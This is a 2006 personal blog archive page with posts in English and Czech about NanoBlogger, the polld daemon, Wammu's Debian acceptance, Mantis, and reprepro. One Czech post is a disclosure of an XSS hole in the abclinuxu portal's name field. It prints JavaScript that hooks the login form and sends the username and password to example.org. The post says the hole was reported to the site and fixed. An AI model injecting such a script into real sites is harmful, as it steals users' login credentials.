Michal Čihař - Archive for Jan. 1, 2006

NanoBlogger customisations

When I looked for blog system to use, I have looked to various systems. From big ones like Wordpress to small ones like NanoBlogger. At the end I ended with NanoBlogger, because it looked more suitable for my needs.

However I still needed some customizations to make it work exactly how I want. First was to enable experimental titpe-based links. This makes links look better and people (and search engines) can see from link what is the entry about. Besides uncommenting some parts of code commented with experimental title-based links, there was needed little change to archive generator to make correct links for previous/next entries.

Next think I wantes was RSS feed list for categories on main pages. This is needed as many people will be interested only in some parts of this blog. This part is a bit hacky and I choose simple way to do this by only changing parts in category links.

Last thing is listing which is included on other pages like pma.cihar.com. This part only uses existing code and doesn't really add anything new except two tempates for it.

Now I enjoy NanoBlogger and hopefully it will last some time :-). If you want to use same customization, patch is available here.

Můj free software 9. - polld

Po Wammu následovala poměrně dlouhá přestávka. Ne že bych nic nedělal, ale nějak nebyla potřeba něco nového vytvářet. A času taky nikdy není nazbyt. Pak mě jednoho dne naštvalo, že čtečka karet není schopná načíst partition po zasunutí karty a rozhodl jsem se to vyřešit. Tak vznikl polld , trviviální démon, který jenom periodicky otevírá soubor.

Opravdu se nejedná o nic složitého, většina kódu se stará o načítání konfiguračního souboru a zpracování parametrů. No ale svůj účel to plní, a to dokonce nejen mě, ale i pár dalším lidem :-).

PS: Nebojte se, za chvíli už vážně bude konec této nekonečné soap opery.

Jak ukrást hesla uživatelům abclinuxu?

Když tak řeším bezpečností chyby v phpMyAdminovi, napadlo mě jak jsou proti podobným věcem zabezpečené portály. Protože dost často používám abclinuxu, tak přišlo první na mušku :-).

Předem podotýkám, že tento článek byl nejdříve dán k dispozici adminům, takže doufám, že v době zveřejnění už není možné toto provést.

Většina prohlížečů dnes umí javascript, který se dá dělat spousta zajímavých věcí. Třeba přidat javascript na obsluhu nějaké událost nebo posílat XML HTTP requesty . Bystřejším již možná dochází, že pokud si můžu vložit vlastní javascript, není žádný problém odchytit odesílání přihlašovacího formuláře. Kdo nevěří, může si zkusit následující ukázku (ta heslo jenom zobrazí, ale to už je jenom detail):

 <script type="text/javascript">
<!--
function process() {
    p = document.getElementById('pwd').value;
    u = document.getElementById('usr').value;
    document.getElementById('ls_prepinac').innerHTML = 
        '<img src="http://example.org/?u=' + 
        u + '&p;=' + p + '"/>';
    window.alert('odeslano na example.org:\npass: ' + 
        p + '\n' + 'user: ' + u);
}
function load() {
    frm = document.forms[0];
    frm.onsubmit = process;
}
window.onload = load;
//-->
</script>

<div id="ls_prepinac">xx</div>
<form method="post">
<input type="text" name="u" id="usr">
<input type="password" name="p" id="pwd">
<input type="submit">
</form>

Teď už jenom zbývá jak dostat vlastní javascript na logovací stránku. Protože je samostatná, tak jediná věc, která je tam vidět z uživatelem ovlivnitelného obsahu jsou zprávičky. Obsah zpráviček je (aspoň v to doufám) kontrolován na dovolené html, ale ještě nám zbývá jeden zajímavý prvek. Tím je naše jméno, tam si můžeme napsat cokoliv co chceme, včetně javascriptu. Tak teď už jen zbývá doufat, že to moc lidí nezrealizovalo :-). Napsat zprávičku, která bude schválena až takový problém není a pak už je dílo dokonáno.

Jaké je řešení? Nedovolovat nikde javascript, dá se použít k mnoha nebezpečným věcem.

Stav chyby:

  • 2.5.2006 12:56 - oznámeno
  • 2.5.2006 13:14 - Leoš tvrdí že při zadání kontroluje <
  • 2.5.2006 13:26 - ukazuju mu že nekontroluje (kdo si v té době všiml "x" u mého jména, má 10 bodů za všímavost :-))
  • 2.5.2006 13:45 - Leoš uznává, že kontrola neexistuje
  • 2.5.2006 21:53 - opraveno

Wammu in Debian

Finally it went through long NEW queue and it has been accepted!

Subject: wammu_0.13-1_i386.changes ACCEPTED
From: Debian Installer <installer@ftp-master.debian.org>
To: Michal Čihař <michal@cihar.com>
Date: Tue, 02 May 2006 08:49:56 -0700

Accepted:
wammu_0.13-1.diff.gz
  to pool/main/w/wammu/wammu_0.13-1.diff.gz
wammu_0.13-1.dsc
  to pool/main/w/wammu/wammu_0.13-1.dsc
wammu_0.13-1_all.deb
  to pool/main/w/wammu/wammu_0.13-1_all.deb
wammu_0.13.orig.tar.gz
  to pool/main/w/wammu/wammu_0.13.orig.tar.gz
Announcing to debian-devel-changes@lists.debian.org
Closing bugs: 326710

Thank you for your contribution to Debian.

Mantis and new MySQL

I just moved Mantis serving bugs.cihar.com to this host and upgraded it also to latest stable version. However it still doesn't deal correctly with recent MySQL. I have no idea why all those PHP application guys ignore charset features in MySQL.

So if you want to use non ASCII chars in Mantis with recent MySQL and you need to modify core/adodb/drivers/adodb-mysql.inc.php and add at the end of _connect and _pconnect funcions code to set connection charset:

mysql_query('SET NAMES \'utf8\'', $this->_connectionID);

Spam je zdravý

Občas nechápu na co všechno se dají získat granty. Vědci z University of Alberta vyzkoumali, že nevyžádaná pošta může mít dobrý vliv na zdravotní stav člověka . Posílat lidem nevyžádanou reklamu na zdravý způsob života a zkoumat jak je to ovlivní je vskuktu geniální nápad. Jenom je vidět. že dotyční asi moc zkušeností se spamem neměli, když jim prošel přes všechny filtry :-).

Repository pomocí reprepro

Chcete vlastní repository s Debianími balíčky? Reprero to dělá ještě jednodušší než jsem popisoval dříve .

Stačí vytvořit adresář, který bude repository obsahovat. Vytvořit konfigurační soubor conf/distributions , ve kterém mu řekneme co bude naše repository obsahovat. Nějak takhle by to mohlo vypadat (samozřejmě jméno si tam napíšte vlastní):

 Origin: Michal Čihař
Label: Unofficial Packages
Suite: unstable
Codename: sid
Architectures: i386 amd64 source
Components: main contrib non-free
Description: Mostly packages waiting for inclusion in Debian
DebIndices: Packages Release . .gz .bz2
DscIndices: Sources Release . .gz .bz2
SignWith: default

A pak již jen přidat balíček:

 reprepro -b CESTA_K_REPOSITORY include sid balicek

Kde přidávaný balíček může být buď changes obsahující jak zdojáky tak binárky nebo samotný deb (pak se použije includedeb ). A světe div se, všechno ostatní se udělá samo :-). Výsledek je vidět třeba na debian.cihar.com .